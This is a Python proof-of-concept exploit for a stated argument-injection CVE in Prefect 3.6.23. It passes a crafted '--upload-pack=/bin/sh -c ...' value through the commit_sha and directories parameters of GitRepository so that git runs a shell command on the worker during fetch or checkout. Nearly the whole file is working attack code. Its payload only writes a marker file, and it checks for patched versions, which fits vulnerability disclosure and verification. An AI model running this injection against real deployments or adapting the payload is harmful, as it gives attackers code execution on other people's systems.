#!/usr/bin/env python3
"""
PoC for CVE-2026-5366: Git Argument Injection in Prefect (tag 3.6.23)

Fatto per voi da Renatino vostro, vi voglio bene tuttiiiiiiiii miei sorcini...

Vulnerable file: src/prefect/runner/storage.py (line numbers from the 3.6.23 tree).
In __init__, commit_sha (line 181) and directories (line 191) are stored without
validation; the only check is the branch/commit_sha mutual exclusion (line 174).

Attack vectors:
  commit_sha -> fetch/checkout (lines 379, 391, 475, 480)
  directories -> sparse-checkout set without a "--" separator (lines 360, 489)

A "--upload-pack=..." value makes git run that program locally during
fetch/checkout, giving RCE on the worker.

Usage:
    python poc.py
    POC_TARGET_REPO="file:///tmp/bare-repo.git" python poc.py   # offline

Needs a vulnerable install: pip install "prefect==3.6.23" (run isolated).
"""

import asyncio
import os
import shutil
import sys
import tempfile
import time
from dataclasses import dataclass
from pathlib import Path

try:
    from prefect.runner.storage import GitRepository
except ImportError as e:
    print("ERROR: Could not import GitRepository from prefect.")
    print("You must run this on a vulnerable version.")
    print("Example: pip install 'prefect==3.6.23'")
    print(f"Import error: {e}")
    sys.exit(1)


# Default target. git only honors --upload-pack on local/ssh transports, so the
# RCE fires against a file:// (or ssh) URL, not this https remote. Use
# run_offline.sh, or set POC_TARGET_REPO to a file:// repo, to see it pop.
TARGET_REPO = os.environ.get(
    "POC_TARGET_REPO", "https://github.com/octocat/Hello-World.git"
)

MARKER_GLOB = "prefect_rce_*.txt"
MARKER_DIR = Path(tempfile.gettempdir())


@dataclass(frozen=True)
class Vector:
    key: str  # tag used in marker/clone names, e.g. "COMMIT"
    param: str  # GitRepository kwarg to poison
    callsites: str  # call sites it reaches in 3.6.23
    expect_rce: bool  # whether this vector can actually run code


VECTORS = (
    Vector(
        key="COMMIT",
        param="commit_sha",
        callsites="fetch origin <sha> / checkout <sha> (lines 379/391/475/480)",
        expect_rce=True,
    ),
    # sparse-checkout set is a local command with no --upload-pack option, so
    # the payload is rejected as an unknown flag: argument injection, not RCE.
    Vector(
        key="DIRS",
        param="directories",
        callsites="sparse-checkout set <dir> without '--' (lines 360/489)",
        expect_rce=False,
    ),
)


def log(msg: str) -> None:
    print(f"[*] {msg}")


def build_payload(marker: Path, label: str) -> str:
    # git reads the leading '--upload-pack=' as an option and runs the program.
    return (
        f"--upload-pack=/bin/sh -c "
        f"'echo \"EXPLOITED via {label} $(date)\" > {marker} 2>&1 || true'"
    )


def unique_suffix() -> str:
    # nanosecond suffix so back-to-back runs don't collide
    return str(time.time_ns())


def force_clean_destination(dest: Path) -> None:
    # Delete the dest (and its .lock) so we hit the full _clone_repo() path
    # (clone --no-checkout, then fetch/checkout the malicious value) instead
    # of the "update" path taken when a .git already exists.
    if dest.exists():
        log(f"Cleaning existing destination: {dest}")
        shutil.rmtree(dest, ignore_errors=True)

    lock = dest.parent / (dest.name + ".lock")
    if lock.exists():
        lock.unlink(missing_ok=True)


def cleanup_markers() -> None:
    # drop marker files left by previous runs
    for marker in MARKER_DIR.glob(MARKER_GLOB):
        try:
            marker.unlink()
            log(f"Removed old marker: {marker}")
        except OSError as exc:
            log(f"Could not remove {marker}: {exc}")


def make_storage(vector: Vector, payload: str, clone_name: str) -> GitRepository:
    # poison exactly one parameter; both are stored unvalidated in 3.6.23
    kwargs = {"url": TARGET_REPO, "name": clone_name, "pull_interval": None}
    if vector.param == "commit_sha":
        kwargs["commit_sha"] = payload
    else:
        kwargs["directories"] = [payload]
    return GitRepository(**kwargs)


async def run_vector(vector: Vector) -> bool:
    # Run one vector end-to-end; True if the marker file got created.
    suffix = unique_suffix()
    marker = MARKER_DIR / f"prefect_rce_{vector.key}_{suffix}.txt"
    clone_name = f"prefect-poc-{vector.key.lower()}-{suffix}"
    dest = Path.cwd() / clone_name

    payload = build_payload(marker, vector.param)
    log(f"{vector.param} payload: {payload!r}")
    log(f"Target call sites: {vector.callsites}")

    # clean up before constructing the storage object
    force_clean_destination(dest)

    try:
        # on a patched version (>= 3.6.25) this raises ValueError, which is
        # itself the neutralization
        storage = make_storage(vector, payload, clone_name)
    except ValueError as exc:
        log(f"NEUTRALIZED ({vector.param}): rejected at construction -> {exc}")
        return False

    try:
        await storage.pull_code()
    except Exception as exc:
        # git fails (the upload-pack value isn't a real helper) but the side
        # effect already ran by then
        log(f"pull_code() raised (expected): {type(exc).__name__}")

    if marker.exists():
        log(f"SUCCESS ({vector.param}): marker created -> {marker}")
        try:
            print("    Content:", marker.read_text().strip())
        except OSError:
            pass
        return True

    if vector.expect_rce:
        log(f"FAILED ({vector.param}): no marker at {marker}")
    else:
        log(f"no marker ({vector.param}): expected, this vector is not RCE")
    return False


def status_for(vector: Vector, success: bool) -> str:
    if success:
        return "VULNERABLE: RCE achieved"
    if vector.expect_rce:
        return "no marker (patched or failed)"
    return "argument injection, non-RCE (expected)"


def print_summary(results: list[tuple[Vector, bool]]) -> None:
    print()
    print("=" * 72)
    print("SUMMARY")
    print("=" * 72)
    for vector, success in results:
        print(f"  {vector.param:12s}: {status_for(vector, success)}")

    if any(success for _, success in results):
        print("\n[+] SUCCESS: At least one RCE vector worked.")
        print(f"    Marker files left in {MARKER_DIR} for inspection.")
    else:
        print("\n[-] No RCE markers created.")
        print("    Possible reasons:")
        print("      - You are running a patched version (>= 3.6.25)")
        print("      - The clone dir was not cleaned properly")
        print("      - git not in PATH or permissions issue")

    print("\nCurrent markers found:")
    markers = sorted(MARKER_DIR.glob(MARKER_GLOB))
    if markers:
        for marker in markers:
            print(f"  {marker}")
    else:
        print("  (none)")

    print("\nRecommended cleanup when done:")
    print(f"  rm -f {MARKER_DIR / MARKER_GLOB}")
    print("  rm -rf prefect-poc-*/")


async def main() -> None:
    print("PoC for CVE-2026-5366 - Git Argument Injection (Prefect 3.6.23)")

    try:
        import prefect

        print(f"Prefect version detected: {prefect.__version__}")
    except Exception:
        print("Prefect version: unknown (running from source?)")

    print(f"Target repo: {TARGET_REPO}")
    print()

    cleanup_markers()

    results: list[tuple[Vector, bool]] = []
    for vector in VECTORS:
        log(f"=== VECTOR: {vector.param} ===")
        results.append((vector, await run_vector(vector)))
        print()

    print_summary(results)


if __name__ == "__main__":
    try:
        asyncio.run(main())
    except KeyboardInterrupt:
        print("\nInterrupted by user.")